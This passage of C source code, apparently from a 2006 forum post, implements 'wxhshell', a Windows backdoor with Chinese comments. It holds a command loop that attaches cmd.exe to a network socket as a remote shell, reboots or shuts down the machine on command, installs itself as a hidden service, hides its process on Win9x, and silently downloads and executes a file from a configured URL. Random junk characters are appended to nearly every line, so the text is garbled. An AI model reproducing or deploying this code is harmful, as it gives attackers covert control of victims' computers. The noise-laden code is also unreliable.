    break; H\fsyxM7  
  } +'|nsIx,  
  // 安装 Sx8RH),k  
  case 'i': { i 558&:  
    if(Install()) pC~ M5(F_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5>6:#.f%!e  
    else : X}n[K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9Iu"DOxX%  
    break; F|a'^:Qs  
    } ID: tTltcc  
  // 卸载 OKPNsN  
  case 'r': { JIiS/]KQ  
    if(Uninstall()) p'`?CJq8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PrHoN2y5E  
    else \483S]_-z{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N:q\i57x  
    break; NkV81?  
    } NDUH10Y:[  
  // 显示 wxhshell 所在路径 9.%t9RM^  
  case 'p': { i E?yvtr8  
    char svExeFile[MAX_PATH]; W) Ct*I^  
    strcpy(svExeFile,"\n\r"); UgL FU#  
      strcat(svExeFile,ExeFile); A.vf)hO  
        send(wsh,svExeFile,strlen(svExeFile),0);  PI.Zd1r  
    break; QWc,JCu  
    } KKq%'y)u^  
  // 重启 $cW t^B'  
  case 'b': { ck< `kJ`b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~t<G gNI  
    if(Boot(REBOOT)) !bCSt?}@u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j{j5TvsrY  
    else { -UM|u_  
    closesocket(wsh); zpD?5  
    ExitThread(0); k Nvb>v  
    } bcq&yL'D  
    break; %:s+5*SKe  
    } *_Vv(H&  
  // 关机 C*}PL  
  case 'd': { -=cm7/X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "}"/d(  
    if(Boot(SHUTDOWN)) q9wObOS$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !1Hs;K  
    else { ?fN6_x2e3  
    closesocket(wsh); 's.e"F#  
    ExitThread(0); NB4 Q,iq$  
    } Y&1N*@YP  
    break; 3G[|4v?[<_  
    } "=w:LRw  
  // 获取shell XzPOqZ`Nv  
  case 's': { F$-fj "jC  
    CmdShell(wsh); t.+)g-X  
    closesocket(wsh); J'ZC5Xr  
    ExitThread(0); #UE}JR3g  
    break; 'ieTt_1.G  
  } !Rc %  
  // 退出 02tt.0go  
  case 'x': { Wco2i m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *MS$C$HOq  
    CloseIt(wsh); r.'xqzF/  
    break; @ x .`z  
    } n5%\FFG0M  
  // 离开 $KQ q~|  
  case 'q': { YKz#,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v6|j.;  
    closesocket(wsh); )Q62I\  
    WSACleanup(); BT&R:_:  
    exit(1); gxhdxSm=2  
    break; +HPcv u?1  
        } R`Fgne$4  
  } Ph%{h"  
  } *;)O'|  
3"zPG~fY{  
  // 提示信息 a{ L&RRJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Yj'9|4%+|  
} I-}ms  
  } U3C"o|   
QJj='+R>  
  return; N,Z*d  
} 4 ob?M:S  
"P0!cY8r  
// shell模块句柄 }S8aR:'  
int CmdShell(SOCKET sock) R:+'"dBge  
{ Ge/K.]>i  
STARTUPINFO si; D+v?zQw  
ZeroMemory(&si,sizeof(si)); 8 R%<~fq r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q=8YAiCu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OX'V  
PROCESS_INFORMATION ProcessInfo; 78{9@\e"0  
char cmdline[]="cmd"; 4BUG\~eI3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?Wz2J3A.2t  
  return 0; 2GORGS%  
} (c)=Do=  
4b[bj").A  
// 自身启动模式 %L^(eTi[  
int StartFromService(void) h]h"-3  
{ g5y`XFY  
typedef struct q01 L{~>bz  
{ ;py9,Wno  
  DWORD ExitStatus; @!=Ds'MJC  
  DWORD PebBaseAddress; &ocuZ -5`  
  DWORD AffinityMask; {f\wIZ-K A  
  DWORD BasePriority; L {P'mG=4  
  ULONG UniqueProcessId; p:TE##  
  ULONG InheritedFromUniqueProcessId; }ymW};W  
}   PROCESS_BASIC_INFORMATION; Zj!,3{jX^  
p @kRo#~l  
PROCNTQSIP NtQueryInformationProcess; $cIaLq  
A"ATtid  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nhdZC@~E0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .SjJG67OyA  
F \ls]luN  
  HANDLE             hProcess; ]:#=[ CH  
  PROCESS_BASIC_INFORMATION pbi; r :$tvT*  
\?]U*)B.r  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )2RRa^=&  
  if(NULL == hInst ) return 0; cz,QP'g  
C 2nmSXV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {j9TzR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sWo}Xq#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); < #ON  
;YR /7  
  if (!NtQueryInformationProcess) return 0; b6 %m*~  
 NdRcA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _,!0_\+i  
  if(!hProcess) return 0; e2v`  
Ij7P-5=<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +HBizJ9K  
L~- /'+  
  CloseHandle(hProcess); &n;*'M  
w") G:K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~;3#MAG  
if(hProcess==NULL) return 0; \894 Jqh  
=X?fA,  
HMODULE hMod; U!o7Nw@ z  
char procName[255]; ;.Bz'Q  
unsigned long cbNeeded; 7H)$NG<U$  
&RYdSXM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V\Gs&>  
@JXpD8jn  
  CloseHandle(hProcess); z'm}p  
UP^8Yhdo  
if(strstr(procName,"services")) return 1; // 以服务启动 !{r2`d09n)  
@Suz-j(H  
  return 0; // 注册表启动 zawu(3?~)5  
}  Rpgg :  
!nSa4U,$w<  
// 主模块 +Q u.86dH  
int StartWxhshell(LPSTR lpCmdLine) M i& ;1!bg  
{ ]B,tCBt  
  SOCKET wsl; 9 Gd6/2  
BOOL val=TRUE; v']_)  
  int port=0; oh< -&3Jn  
  struct sockaddr_in door; +#MXeUX"  
O3@DU#N&s  
  if(wscfg.ws_autoins) Install(); a5pl/d  
vSR&>Q%X  
port=atoi(lpCmdLine); ;:D-}t;  
4`Ud\Jm[s  
if(port<=0) port=wscfg.ws_port; ?OFa Q  
3/`BK{  
  WSADATA data; (p{%]M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8In\Jo$|q>  
i"}z9Ae~.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n7fhc*}:`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !CUl1L1DSi  
  door.sin_family = AF_INET; 8{jXSCP#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E%bhd4$G  
  door.sin_port = htons(port); ).^d3Kp  
]UkH}Pt'3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { UE'=9{o`  
closesocket(wsl); oj djy#:  
return 1; A,.X  
} m "9f(  
`f;w  
  if(listen(wsl,2) == INVALID_SOCKET) {  9!jPZn  
closesocket(wsl); Mwnr4$]  
return 1; Cq!eAc  
} FE\E%_K'n7  
  Wxhshell(wsl); kw$ 7G1Q  
  WSACleanup(); ~{I.qv)>M~  
ri{*\LV*@  
return 0; F,Q;sq  
ByY2KJ7  
} %3a-@!|1<  
>Bb X:  
// 以NT服务方式启动 gS'{JZu2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9,'m,2%W  
{ Qb^G1#r@C  
DWORD   status = 0; J _O5^=BP  
  DWORD   specificError = 0xfffffff; D`JBK?~  
K5qCPt`'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JJd qdX;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }n==^2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wtek5C^  
  serviceStatus.dwWin32ExitCode     = 0; \Osu1]Jn>  
  serviceStatus.dwServiceSpecificExitCode = 0; WiytHuUF  
  serviceStatus.dwCheckPoint       = 0; ZRxOXt&;  
  serviceStatus.dwWaitHint       = 0; ?$6H',u  
T#Z&*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l1 Kv`v\  
  if (hServiceStatusHandle==0) return; 0$)Q@#  
PyQ .B*JJ  
status = GetLastError(); S[F06.(1  
  if (status!=NO_ERROR) -'$ob~*  
{ +]%S}<R  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T'5{p  
    serviceStatus.dwCheckPoint       = 0; |Mq+QDTTw~  
    serviceStatus.dwWaitHint       = 0; G\gjCp?!  
    serviceStatus.dwWin32ExitCode     = status; TN0KS]^A3  
    serviceStatus.dwServiceSpecificExitCode = specificError; rM7qBt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I_<VGU k  
    return; 6j(/uF4!#  
  } vUpAW[[  
^!1!l-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ">bhxXeiN  
  serviceStatus.dwCheckPoint       = 0; ZIx-mC5  
  serviceStatus.dwWaitHint       = 0; AT"gRCU$4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KyyR Hf5  
} pt <zyH3Z  
&zJI~R  
// 处理NT服务事件,比如:启动、停止 P1mg;!tq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >1s a*Wf  
{ U+!RIF[Je  
switch(fdwControl) "0CFvN'4  
{ <K[y~9u  
case SERVICE_CONTROL_STOP: 63W;N7@  
  serviceStatus.dwWin32ExitCode = 0; z;qDl%AF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; StI N+S@Z  
  serviceStatus.dwCheckPoint   = 0; sC-o'13  
  serviceStatus.dwWaitHint     = 0; ^ #:;6^Su  
  { 072C!F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IA`voO$  
  } 8TP$?8l  
  return; )=~&l={T  
case SERVICE_CONTROL_PAUSE: vXDs/,`r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :lB*kmg  
  break; x0<;Rm [u=  
case SERVICE_CONTROL_CONTINUE: .#yg=t1C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; EsGu#lD2  
  break; O@Aazc5K  
case SERVICE_CONTROL_INTERROGATE: '3>;8(s l  
  break; XKjrS 9:  
}; Ljy797{f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K{P-+(  
} [9">}l  
LIID(s!bX  
// 标准应用程序主函数  ~71U s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ; JkSZs3  
{ yzS^8,  
=d{6=2Pt  
// 获取操作系统版本 4zMvHe  
OsIsNt=GetOsVer(); Ms!EK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ws0qwv#  
?6:qAFw  
  // 从命令行安装 sq'm)g  
  if(strpbrk(lpCmdLine,"iI")) Install(); u} mj)Nk  
k+h}HCzE  
  // 下载执行文件 ztO)~uL  
if(wscfg.ws_downexe) { +KTfGwKt  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7%^G ]AFi  
  WinExec(wscfg.ws_filenam,SW_HIDE); JH.XZM&  
} Ugri _  
cu/"=]D  
if(!OsIsNt) { N )Z>]&5  
// 如果时win9x,隐藏进程并且设置为注册表启动 W;OGdAa_  
HideProc(); _EMI%P& s  
StartWxhshell(lpCmdLine); C7%R2>}?f  
} tRoSq;VrS  
else At.& $ t  
  if(StartFromService()) ;73S;IPR  
  // 以服务方式启动 2)=whnFS  
  StartServiceCtrlDispatcher(DispatchTable); eGEwXza 4  
else Jh\KVmfXN  
  // 普通方式启动 rRe5Q  
  StartWxhshell(lpCmdLine); f-F=!^.  
+fVvH  
return 0; {lds?AuK  
}
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只看该作者 1 发表于: 2006-10-10
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